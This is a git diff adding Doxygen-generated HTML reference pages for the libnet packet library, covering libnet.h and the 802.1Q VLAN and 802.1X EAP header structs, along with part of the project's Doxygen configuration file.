--- /dev/null
+++ b/libnet/doc/html/libnet_8h.html
@@ -0,0 +1,24 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet.h File Reference</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet.h File Reference</h1>toplevel libnet header file
+<a href="#_details">More...</a>
+<p>
+
+<p>
+<a href="libnet_8h-source.html">Go to the source code of this file.</a><table border=0 cellpadding=0 cellspacing=0>
+<tr><td></td></tr>
+</table>
+<hr><a name="_details"></a><h2>Detailed Description</h2>
+toplevel libnet header file
+<p>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/structlibnet__802__1q__hdr.html b/libnet/doc/html/structlibnet__802__1q__hdr.html
new file mode 100644
index 0000000..b57c044
--- /dev/null
+++ b/libnet/doc/html/structlibnet__802__1q__hdr.html
@@ -0,0 +1,145 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet_802_1q_hdr struct Reference</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet_802_1q_hdr Struct Reference</h1><code>#include &lt;<a class="el" href="libnet-headers_8h-source.html">libnet-headers.h</a>&gt;</code>
+<p>
+<table border=0 cellpadding=0 cellspacing=0>
+<tr><td></td></tr>
+<tr><td colspan=2><br><h2>Data Fields</h2></td></tr>
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int8_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1q__hdr.html#o0">vlan_dhost</a> [ETHER_ADDR_LEN]</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int8_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1q__hdr.html#o1">vlan_shost</a> [ETHER_ADDR_LEN]</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int16_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1q__hdr.html#o2">vlan_tpi</a></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int16_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1q__hdr.html#o3">vlan_priority_c_vid</a></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int16_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1q__hdr.html#o4">vlan_len</a></td></tr>
+
+</table>
+<hr><a name="_details"></a><h2>Detailed Description</h2>
+IEEE 802.1Q (Virtual Local Area Network) VLAN header, static header size: 18 bytes
+<p>
+<hr><h2>Field Documentation</h2>
+<a class="anchor" name="o0" doxytag="libnet_802_1q_hdr::vlan_dhost" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int8_t <a class="el" href="structlibnet__802__1q__hdr.html#o0">libnet_802_1q_hdr::vlan_dhost</a>[ETHER_ADDR_LEN]
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+destination ethernet address </td>
+ </tr>
+</table>
+<a class="anchor" name="o4" doxytag="libnet_802_1q_hdr::vlan_len" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int16_t <a class="el" href="structlibnet__802__1q__hdr.html#o4">libnet_802_1q_hdr::vlan_len</a>
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+length or type (802.3 / Eth 2) </td>
+ </tr>
+</table>
+<a class="anchor" name="o3" doxytag="libnet_802_1q_hdr::vlan_priority_c_vid" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int16_t <a class="el" href="structlibnet__802__1q__hdr.html#o3">libnet_802_1q_hdr::vlan_priority_c_vid</a>
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+priority | VLAN ID </td>
+ </tr>
+</table>
+<a class="anchor" name="o1" doxytag="libnet_802_1q_hdr::vlan_shost" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int8_t <a class="el" href="structlibnet__802__1q__hdr.html#o1">libnet_802_1q_hdr::vlan_shost</a>[ETHER_ADDR_LEN]
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+source ethernet address </td>
+ </tr>
+</table>
+<a class="anchor" name="o2" doxytag="libnet_802_1q_hdr::vlan_tpi" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int16_t <a class="el" href="structlibnet__802__1q__hdr.html#o2">libnet_802_1q_hdr::vlan_tpi</a>
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+tag protocol ID </td>
+ </tr>
+</table>
+<hr>The documentation for this struct was generated from the following file:<ul>
+<li><a class="el" href="libnet-headers_8h-source.html">libnet-headers.h</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/structlibnet__802__1x__hdr.html b/libnet/doc/html/structlibnet__802__1x__hdr.html
new file mode 100644
index 0000000..bb5dca6
--- /dev/null
+++ b/libnet/doc/html/structlibnet__802__1x__hdr.html
@@ -0,0 +1,97 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet_802_1x_hdr struct Reference</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet_802_1x_hdr Struct Reference</h1><code>#include &lt;<a class="el" href="libnet-headers_8h-source.html">libnet-headers.h</a>&gt;</code>
+<p>
+<table border=0 cellpadding=0 cellspacing=0>
+<tr><td></td></tr>
+<tr><td colspan=2><br><h2>Data Fields</h2></td></tr>
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int8_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1x__hdr.html#o0">dot1x_version</a></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int8_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1x__hdr.html#o1">dot1x_type</a></td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top>u_int16_t&nbsp;</td><td class="memItemRight" valign=bottom><a class="el" href="structlibnet__802__1x__hdr.html#o2">dot1x_length</a></td></tr>
+
+</table>
+<hr><a name="_details"></a><h2>Detailed Description</h2>
+IEEE 802.1X EAP (Extensible Authentication Protocol) header, static header size: 4 bytes
+<p>
+<hr><h2>Field Documentation</h2>
+<a class="anchor" name="o2" doxytag="libnet_802_1x_hdr::dot1x_length" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int16_t <a class="el" href="structlibnet__802__1x__hdr.html#o2">libnet_802_1x_hdr::dot1x_length</a>
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+total frame length </td>
+ </tr>
+</table>
+<a class="anchor" name="o1" doxytag="libnet_802_1x_hdr::dot1x_type" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int8_t <a class="el" href="structlibnet__802__1x__hdr.html#o1">libnet_802_1x_hdr::dot1x_type</a>
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+frame type </td>
+ </tr>
+</table>
+<a class="anchor" name="o0" doxytag="libnet_802_1x_hdr::dot1x_version" ></a><p>
+<table class="mdTable" width="100%" cellpadding="2" cellspacing="0">
+ <tr>
+ <td class="mdRow">
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td class="md" nowrap valign="top"> u_int8_t <a class="el" href="structlibnet__802__1x__hdr.html#o0">libnet_802_1x_hdr::dot1x_version</a>
+ </table>
+ </td>
+ </tr>
+</table>
+<table cellspacing=5 cellpadding=0 border=0>
+ <tr>
+ <td>
+ &nbsp;
+ </td>
+ <td>
+
+<p>
+protocol version </td>
+ </tr>
+</table>
+<hr>The documentation for this struct was generated from the following file:<ul>
+<li><a class="el" href="libnet-headers_8h-source.html">libnet-headers.h</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/libnet.doxygen.conf b/libnet/doc/libnet.doxygen.conf
new file mode 100644
index 0000000..327aa25
--- /dev/null
+++ b/libnet/doc/libnet.doxygen.conf
@@ -0,0 +1,1102 @@
+# Doxyfile 1.3.2
+# $Id: libnet.doxygen.conf,v 1.2 2003/07/12 00:39:54 route Exp $
+
+# This file describes the settings to be used by the documentation system
+# doxygen (www.doxygen.org) for a project
+#
+# All text after a hash (#) is considered a comment and will be ignored
+# The format is:
+# TAG = value [value, ...]
+# For lists items can also be appended using:
+# TAG += value [value, ...]
+# Values that contain spaces should be placed between quotes (" ")
+
+#---------------------------------------------------------------------------
+# General configuration options
+#---------------------------------------------------------------------------
+
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded
+# by quotes) that should identify the project.
+
+PROJECT_NAME = "libnet"
+
+# The PROJECT_NUMBER tag can be used to enter a project or revision number.
+# This could be handy for archiving the generated documentation or
+# if some version control system is used.
+
+PROJECT_NUMBER = "1.1.1"
+
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute)
+# base path where the generated documentation will be put.
+# If a relative path is entered, it will be relative to the location
+# where doxygen was started. If left blank the current directory will be used.
+
+OUTPUT_DIRECTORY = "doc"
+
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all
+# documentation generated by doxygen is written. Doxygen will use this
+# information to generate all constant output in the proper language.
+# The default language is English, other supported languages are:
+# Brazilian, Catalan, Chinese, Chinese-Traditional, Croatian, Czech, Danish, Dutch,
+# Finnish, French, German, Greek, Hungarian, Italian, Japanese, Japanese-en
+# (Japanese with English messages), Korean, Norwegian, Polish, Portuguese,
+# Romanian, Russian, Serbian, Slovak, Slovene, Spanish, Swedish, and Ukrainian.
+
+OUTPUT_LANGUAGE = English
+
+# This tag can be used to specify the encoding used in the generated output.
+# The encoding is not always determined by the language that is chosen,
+# but also whether or not the output is meant for Windows or non-Windows users.
+# In case there is a difference, setting the USE_WINDOWS_ENCODING tag to YES
+# forces the Windows encoding (this is the default for the Windows binary),
+# whereas setting the tag to NO uses a Unix-style encoding (the default for
+# all platforms other than Windows).
+
+USE_WINDOWS_ENCODING = NO
+
+# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in
+# documentation are documented, even if no documentation was available.
+# Private class members and static file members will be hidden unless
+# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES
+
+EXTRACT_ALL = NO
+
+# If the EXTRACT_PRIVATE tag is set to YES all private members of a class
+# will be included in the documentation.
+
+EXTRACT_PRIVATE = NO
+
+# If the EXTRACT_STATIC tag is set to YES all static members of a file
+# will be included in the documentation.
+
+EXTRACT_STATIC = NO
+
+# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs)
+# defined locally in source files will be included in the documentation.
+# If set to NO only classes defined in header files are included.
+
+EXTRACT_LOCAL_CLASSES = YES
+
+# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all
+# undocumented members of documented classes, files or namespaces.
+# If set to NO (the default) these members will be included in the
+# various overviews, but no documentation section is generated.
+# This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_MEMBERS = NO
+
+# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all
+# undocumented classes that are normally visible in the class hierarchy.
+# If set to NO (the default) these classes will be included in the various
+# overviews. This option has no effect if EXTRACT_ALL is enabled.
+
+HIDE_UNDOC_CLASSES = NO
+
+# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all
+# friend (class|struct|union) declarations.
+# If set to NO (the default) these declarations will be included in the
+# documentation.
+
+HIDE_FRIEND_COMPOUNDS = NO
+
+# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any
+# documentation blocks found inside the body of a function.
+# If set to NO (the default) these blocks will be appended to the
+# function's detailed documentation block.
+
+HIDE_IN_BODY_DOCS = NO
+
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will
+# include brief member descriptions after the members that are listed in
+# the file and class documentation (similar to JavaDoc).
+# Set to NO to disable this.
+
+BRIEF_MEMBER_DESC = YES
+
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend
+# the brief description of a member or function before the detailed description.
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the
+# brief descriptions will be completely suppressed.
+
+REPEAT_BRIEF = YES
+
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then
+# Doxygen will generate a detailed section even if there is only a brief
+# description.
+
+ALWAYS_DETAILED_SEC = NO
+
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all inherited
+# members of a class in the documentation of that class as if those members were
+# ordinary class members. Constructors, destructors and assignment operators of
+# the base classes will not be shown.
+
+INLINE_INHERITED_MEMB = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full
+# path before files name in the file list and in the header files. If set
+# to NO the shortest path that makes the file name unique will be used.
+
+FULL_PATH_NAMES = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag
+# can be used to strip a user-defined part of the path. Stripping is
+# only done if one of the specified strings matches the left-hand part of
+# the path. It is allowed to use relative paths in the argument list.
+
+STRIP_FROM_PATH =
+
+# The INTERNAL_DOCS tag determines if documentation
+# that is typed after a \internal command is included. If the tag is set
+# to NO (the default) then the documentation will be excluded.
+# Set it to YES to include the internal documentation.
+
+INTERNAL_DOCS = NO
+
+# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate
+# file names in lower-case letters. If set to YES upper-case letters are also
+# allowed. This is useful if you have classes or files whose names only differ
+# in case and if your file system supports case sensitive file names. Windows
+# users are advised to set this option to NO.
+
+CASE_SENSE_NAMES = YES
+
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter
+# (but less readable) file names. This can be useful is your file systems
+# doesn't support long names like on DOS, Mac, or CD-ROM.
+
+SHORT_NAMES = NO
+
+# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen
+# will show members with their full class and namespace scopes in the
+# documentation. If set to YES the scope will be hidden.
+
+HIDE_SCOPE_NAMES = NO
+
+# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen
+# will put a list of the files that are included by a file in the documentation
+# of that file.
+
+SHOW_INCLUDE_FILES = YES
+
+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen
+# will interpret the first line (until the first dot) of a JavaDoc-style
+# comment as the brief description. If set to NO, the JavaDoc
+# comments will behave just like the Qt-style comments (thus requiring an
+# explict @brief command for a brief description.
+
+JAVADOC_AUTOBRIEF = NO
+
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen
+# treat a multi-line C++ special comment block (i.e. a block of //! or ///
+# comments) as a brief description. This used to be the default behaviour.
+# The new default is to treat a multi-line C++ comment block as a detailed
+# description. Set this tag to YES if you prefer the old behaviour instead.
+
+MULTILINE_CPP_IS_BRIEF = NO
+
+# If the DETAILS_AT_TOP tag is set to YES then Doxygen
+# will output the detailed description near the top, like JavaDoc.
+# If set to NO, the detailed description appears after the member
+# documentation.
+
+DETAILS_AT_TOP = NO
+
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented
+# member inherits the documentation from any documented member that it
+# reimplements.
+
+INHERIT_DOCS = YES
+
+# If the INLINE_INFO tag is set to YES (the default) then a tag [inline]
+# is inserted in the documentation for inline members.
+
+INLINE_INFO = YES
+
+# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen
+# will sort the (detailed) documentation of file and class members
+# alphabetically by member name. If set to NO the members will appear in
+# declaration order.
+
+SORT_MEMBER_DOCS = YES
+
+# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC
+# tag is set to YES, then doxygen will reuse the documentation of the first
+# member in the group (if any) for the other members of the group. By default
+# all members of a group must be documented explicitly.
+
+DISTRIBUTE_GROUP_DOC = NO
+
+# The TAB_SIZE tag can be used to set the number of spaces in a tab.
+# Doxygen uses this value to replace tabs by spaces in code fragments.
+
+TAB_SIZE = 4
+
+# The GENERATE_TODOLIST tag can be used to enable (YES) or
+# disable (NO) the todo list. This list is created by putting \todo
+# commands in the documentation.
+
+GENERATE_TODOLIST = YES
+
+# The GENERATE_TESTLIST tag can be used to enable (YES) or
+# disable (NO) the test list. This list is created by putting \test
+# commands in the documentation.
+
+GENERATE_TESTLIST = YES
+
+# The GENERATE_BUGLIST tag can be used to enable (YES) or
+# disable (NO) the bug list. This list is created by putting \bug
+# commands in the documentation.
+
+GENERATE_BUGLIST = YES
+
+# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or
+# disable (NO) the deprecated list. This list is created by putting
+# \deprecated commands in the documentation.
+
+GENERATE_DEPRECATEDLIST= YES
+
+# This tag can be used to specify a number of aliases that acts
+# as commands in the documentation. An alias has the form "name=value".
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to
+# put the command \sideeffect (or @sideeffect) in the documentation, which
+# will result in a user-defined paragraph with heading "Side Effects:".
+# You can put \n's in the value part of an alias to insert newlines.
+
+ALIASES =
+
+# The ENABLED_SECTIONS tag can be used to enable conditional
+# documentation sections, marked by \if sectionname ... \endif.
+
+ENABLED_SECTIONS =
+
+# The MAX_INITIALIZER_LINES tag determines the maximum number of lines
+# the initial value of a variable or define consists of for it to appear in
+# the documentation. If the initializer consists of more lines than specified
+# here it will be hidden. Use a value of 0 to hide initializers completely.
+# The appearance of the initializer of individual variables and defines in the
+# documentation can be controlled using \showinitializer or \hideinitializer
+# command in the documentation regardless of this setting.
+
+MAX_INITIALIZER_LINES = 30
+
+# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C sources
+# only. Doxygen will then generate output that is more tailored for C.
+# For instance, some of the names that are used will be different. The list
+# of all members will be omitted, etc.
+
+OPTIMIZE_OUTPUT_FOR_C = YES
+
+# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java sources
+# only. Doxygen will then generate output that is more tailored for Java.
+# For instance, namespaces will be presented as packages, qualified scopes
+# will look different, etc.
+
+OPTIMIZE_OUTPUT_JAVA = NO
+
+# Set the SHOW_USED_FILES tag to NO to disable the list of files generated
+# at the bottom of the documentation of classes and structs. If set to YES the
+# list will mention the files that were used to generate the documentation.
+
+SHOW_USED_FILES = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to warning and progress messages
+#---------------------------------------------------------------------------
+
+# The QUIET tag can be used to turn on/off the messages that are generated
+# by doxygen. Possible values are YES and NO. If left blank NO is used.
+
+QUIET = NO
+
+# The WARNINGS tag can be used to turn on/off the warning messages that are
+# generated by doxygen. Possible values are YES and NO. If left blank
+# NO is used.
+
+WARNINGS = YES
+
+# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings
+# for undocumented members. If EXTRACT_ALL is set to YES then this flag will
+# automatically be disabled.
+
+WARN_IF_UNDOCUMENTED = YES
+
+# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for
+# potential errors in the documentation, such as not documenting some
+# parameters in a documented function, or documenting parameters that
+# don't exist or using markup commands wrongly.
+
+WARN_IF_DOC_ERROR = YES
+
+# The WARN_FORMAT tag determines the format of the warning messages that
+# doxygen can produce. The string should contain the $file, $line, and $text
+# tags, which will be replaced by the file and line number from which the
+# warning originated and the warning text.
+
+WARN_FORMAT = "$file:$line: $text"
+
+# The WARN_LOGFILE tag can be used to specify a file to which warning
+# and error messages should be written. If left blank the output is written
+# to stderr.
+
+WARN_LOGFILE =
+
+#---------------------------------------------------------------------------
+# configuration options related to the input files
+#---------------------------------------------------------------------------
+
+# The INPUT tag can be used to specify the files and/or directories that contain
+# documented source files. You may enter file names like "myfile.cpp" or
+# directories like "/usr/src/myproject". Separate the files or directories
+# with spaces.
+
+INPUT =
+
+# If the value of the INPUT tag contains directories, you can use the
+# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank the following patterns are tested:
+# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx *.hpp
+# *.h++ *.idl *.odl *.cs
+
+FILE_PATTERNS =
+
+# The RECURSIVE tag can be used to turn specify whether or not subdirectories
+# should be searched for input files as well. Possible values are YES and NO.
+# If left blank NO is used.
+
+RECURSIVE = YES
+
+# The EXCLUDE tag can be used to specify files and/or directories that should
+# excluded from the INPUT source files. This way you can easily exclude a
+# subdirectory from a directory tree whose root is specified with the INPUT tag.
+
+EXCLUDE =
+
+# The EXCLUDE_SYMLINKS tag can be used select whether or not files or directories
+# that are symbolic links (a Unix filesystem feature) are excluded from the input.
+
+EXCLUDE_SYMLINKS = NO
+
+# If the value of the INPUT tag contains directories, you can use the
+# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude
+# certain files from those directories.
+
+EXCLUDE_PATTERNS = */sample/*
+
+# The EXAMPLE_PATH tag can be used to specify one or more files or
+# directories that contain example code fragments that are included (see
+# the \include command).
+
+EXAMPLE_PATH =
+
+# If the value of the EXAMPLE_PATH tag contains directories, you can use the
+# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp
+# and *.h) to filter out the source-files in the directories. If left
+# blank all files are included.
+
+EXAMPLE_PATTERNS =
+
+# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be
+# searched for input files to be used with the \include or \dontinclude
+# commands irrespective of the value of the RECURSIVE tag.
+# Possible values are YES and NO. If left blank NO is used.
+
+EXAMPLE_RECURSIVE = NO
+
+# The IMAGE_PATH tag can be used to specify one or more files or
+# directories that contain image that are included in the documentation (see
+# the \image command).
+
+IMAGE_PATH =
+
+# The INPUT_FILTER tag can be used to specify a program that doxygen should
+# invoke to filter for each input file. Doxygen will invoke the filter program
+# by executing (via popen()) the command <filter> <input-file>, where <filter>
+# is the value of the INPUT_FILTER tag, and <input-file> is the name of an
+# input file. Doxygen will then use the output that the filter program writes
+# to standard output.
+
+INPUT_FILTER =
+
+# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using
+# INPUT_FILTER) will be used to filter the input files when producing source
+# files to browse (i.e. when SOURCE_BROWSER is set to YES).
+
+FILTER_SOURCE_FILES = NO
+
+#---------------------------------------------------------------------------
+# configuration options related to source browsing
+#---------------------------------------------------------------------------
+
+# If the SOURCE_BROWSER tag is set to YES then a list of source files will
+# be generated. Documented entities will be cross-referenced with these sources.
+
+SOURCE_BROWSER = NO
+
+# Setting the INLINE_SOURCES tag to YES will include the body
+# of functions and classes directly in the documentation.
+
+INLINE_SOURCES = NO
+
+# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct
+# doxygen to hide any special comment blocks from generated source code
+# fragments. Normal C and C++ comments will always remain visible.
+
+STRIP_CODE_COMMENTS = YES
+
+# If the REFERENCED_BY_RELATION tag is set to YES (the default)
+# then for each documented function all documented
+# functions referencing it will be listed.
+
+REFERENCED_BY_RELATION = YES
+
+# If the REFERENCES_RELATION tag is set to YES (the default)
+# then for each documented function all documented entities
+# called/used by that function will be listed.
+
+REFERENCES_RELATION = YES
+
+# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen
+# will generate a verbatim copy of the header file for each class for
+# which an include is specified. Set to NO to disable this.
+
+VERBATIM_HEADERS = YES
+
+#---------------------------------------------------------------------------
+# configuration options related to the alphabetical class index
+#---------------------------------------------------------------------------
+
+# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index
+# of all compounds will be generated. Enable this if the project
+# contains a lot of classes, structs, unions or interfaces.
+
+ALPHABETICAL_INDEX = NO
+
+# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then
+# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns
+# in which this list will be split (can be a number in the range [1..20])
+
+COLS_IN_ALPHA_INDEX = 5
+
+# In case all classes in a project start with a common prefix, all
+# classes will be put under the same header in the alphabetical index.
+# The IGNORE_PREFIX tag can be used to specify one or more prefixes that
+# should be ignored while generating the index headers.
+
+IGNORE_PREFIX =
+
+#---------------------------------------------------------------------------
+# configuration options related to the HTML output
+#---------------------------------------------------------------------------
+
+# If the GENERATE_HTML tag is set to YES (the default) Doxygen will
+# generate HTML output.
+
+GENERATE_HTML = YES
+
+# The HTML_OUTPUT tag is used to specify where the HTML docs will be put.
+# If a relative path is entered the value of OUTPUT_DIRECTORY will be
+# put in front of it. If left blank `html' will be used as the default path.
+
+HTML_OUTPUT = html
+
+# The HTML_FILE_EXTENSION tag can be used to specify the file extension for
+# each generated HTML page (for example: .htm,.php,.asp). If it is left blank
+# doxygen will generate files with .html extension.
+
+HTML_FILE_EXTENSION = .html
+
+# The HTML_HEADER tag can be used to specify a personal HTML header for
+# each generated HTML page. If it is left blank doxygen will generate a
+# standard header.
+
+HTML_HEADER =
+
+# The HTML_FOOTER tag can be used to specify a personal HTML footer for
+# each generated HTML page. If it is left blank doxygen will generate a
+# standard footer.
+
+HTML_FOOTER =
+
+# The HTML_STYLESHEET tag can be used to specify a user-defined cascading
+# style sheet that is used by each HTML page. It can be used to
+# fine-tune the look of the HTML output. If the tag is left blank doxygen
+# will generate a default style sheet
+
+HTML_STYLESHEET =
+
+# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes,
+# files or namespaces will be aligned in HTML using tables. If set to
+# NO a bullet list will be used.
+
+HTML_ALIGN_MEMBERS = YES
+
+# If the GENERATE_HTMLHELP tag is set to YES, additional index files
+# will be generated that can be used as input for tools like the
+# Microsoft HTML help workshop to generate a compressed HTML help file (.chm)
+# of the generated HTML documentation.
+
+GENERATE_HTMLHELP = NO
+
+# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can
+# be used to specify the file name of the resulting .chm file. You
+# can add a path in front of the file if the result should not be
+# written to the html output dir.
+
+CHM_FILE =
+
+# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can
+# be used to specify the location (absolute path including file name) of
+# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run
+# the HTML help compiler on the generated index.hhp.
+
+HHC_LOCATION =
+
